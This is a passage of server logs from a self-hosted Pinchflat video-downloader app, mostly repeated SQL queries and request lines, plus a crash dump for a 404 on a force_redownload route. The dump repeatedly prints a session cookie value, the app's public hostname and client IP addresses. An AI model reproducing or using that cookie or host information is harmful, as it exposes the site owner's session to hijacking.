s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:04:09.378 [debug] QUERY OK source="settings" db=0.4ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:04:09.378 [debug] QUERY OK source="settings" db=0.4ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:04:09.379 [debug] QUERY OK source="settings" db=0.2ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:04:09.380 [debug] QUERY OK source="settings" db=0.3ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:04:09.380 [debug] QUERY OK source="settings" db=0.3ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:04:09.381 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 02:04:09.382 [debug] QUERY OK source="media_profiles" db=0.3ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 02:04:09.386 [info] Sent 200 in 13ms 02:04:09.386 [info] Sent 200 in 13ms 02:04:25.600 [info] {"source":"oban","duration":1187,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:35.796 [info] GET /sources/3/media/3300 02:04:35.796 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "3300", "source_id" => "3"} Pipelines: [:browser] 02:04:35.797 [debug] QUERY OK source="media_items" db=0.5ms idle=1153.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3300] 02:04:35.798 [debug] QUERY OK source="tasks" db=0.5ms idle=1155.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [3300] 02:04:35.799 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1155.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:04:35.800 [debug] QUERY OK source="settings" db=0.2ms idle=1156.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:04:35.800 [debug] QUERY OK source="settings" db=0.1ms idle=629.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:04:35.801 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:04:35.802 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 02:04:35.806 [info] Sent 200 in 9ms 02:04:35.898 [info] GET /sources/4/force_redownload 02:04:35.899 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=99.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:04:35.899 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=99.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:04:35.900 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:04:35.900 [error] #PID<0.255538.0> running PinchflatWeb.Endpoint (connection #PID<0.255533.0>, stream id 2) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/4/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.255533.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/force_redownload", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 41190}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYWZRb1BsajZ6RkNSN3VobGZXUE9lWXFO._tGR5s1J7Yd8sNbIvp-Emkj3pAeQmoLy8cJTfEzSRg0", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYWZRb1BsajZ6RkNSN3VobGZXUE9lWXFO._tGR5s1J7Yd8sNbIvp-Emkj3pAeQmoLy8cJTfEzSRg0" }, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.255538.0>, params: %{}, path_info: ["sources", "4", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYWZRb1BsajZ6RkNSN3VobGZXUE9lWXFO._tGR5s1J7Yd8sNbIvp-Emkj3pAeQmoLy8cJTfEzSRg0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYWZRb1BsajZ6RkNSN3VobGZXUE9lWXFO._tGR5s1J7Yd8sNbIvp-Emkj3pAeQmoLy8cJTfEzSRg0"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/4/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIC7Axhr2ymy3goAJoDB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.255533.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/force_redownload", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 41190}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYWZRb1BsajZ6RkNSN3VobGZXUE9lWXFO._tGR5s1J7Yd8sNbIvp-Emkj3pAeQmoLy8cJTfEzSRg0", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.255533.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/force_redownload", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 41190}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYWZRb1BsajZ6RkNSN3VobGZXUE9lWXFO._tGR5s1J7Yd8sNbIvp-Emkj3pAeQmoLy8cJTfEzSRg0", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ (truncated) 02:04:42.063 [info] GET /sources/3/media/3297 02:04:42.063 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "3297", "source_id" => "3"} Pipelines: [:browser] 02:04:42.064 [debug] QUERY OK source="media_items" db=0.5ms idle=881.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3297] 02:04:42.065 [debug] QUERY OK source="tasks" db=0.2ms idle=422.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [3297] 02:04:42.065 [debug] QUERY OK source="sources" db=0.3ms idle=422.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:04:42.066 [debug] QUERY OK source="settings" db=0.2ms idle=423.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:04:42.067 [debug] QUERY OK source="settings" db=0.2ms idle=423.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:04:42.068 [debug] QUERY OK source="settings" db=0.3ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:04:42.069 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 02:04:42.073 [info] Sent 200 in 10ms 02:04:42.181 [info] GET /sources/3/media/3309/edit 02:04:42.181 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "3309", "source_id" => "3"} Pipelines: [:browser] 02:04:42.182 [debug] QUERY OK source="media_items" db=0.4ms idle=115.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3309] 02:04:42.183 [debug] QUERY OK source="settings" db=0.4ms idle=116.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:04:42.184 [debug] QUERY OK source="settings" db=1.1ms idle=115.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:04:42.186 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=115.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:04:42.188 [info] Sent 200 in 7ms 02:04:55.602 [info] {"source":"oban","duration":1253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:00.255 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:05:25.436 [info] GET /sources/4/media/99281 02:05:25.436 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "99281", "source_id" => "4"} Pipelines: [:browser] 02:05:25.436 [info] GET /sources/4/media/102354 02:05:25.437 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "102354", "source_id" => "4"} Pipelines: [:browser] 02:05:25.437 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=1794.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [99281] 02:05:25.438 [debug] QUERY OK source="media_items" db=0.3ms idle=1794.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102354] 02:05:25.439 [debug] QUERY OK source="tasks" db=0.8ms queue=0.1ms idle=1795.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [99281] 02:05:25.439 [debug] QUERY OK source="tasks" db=1.1ms idle=166.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [102354] 02:05:25.440 [debug] QUERY OK source="sources" db=1.6ms idle=0.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 02:05:25.440 [debug] QUERY OK source="sources" db=1.9ms idle=1168.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 02:05:25.441 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=2.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2581] 02:05:25.441 [debug] QUERY OK source="settings" db=0.6ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:05:25.442 [debug] QUERY OK source="settings" db=0.2ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:05:25.442 [debug] QUERY OK source="settings" db=0.2ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:05:25.442 [debug] QUERY OK source="settings" db=0.2ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:05:25.443 [debug] QUERY OK source="settings" db=0.2ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:05:25.443 [debug] QUERY OK source="settings" db=0.2ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:05:25.445 [debug] QUERY OK source="media_profiles" db=0.8ms idle=2.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:05:25.445 [debug] QUERY OK source="media_profiles" db=0.5ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", 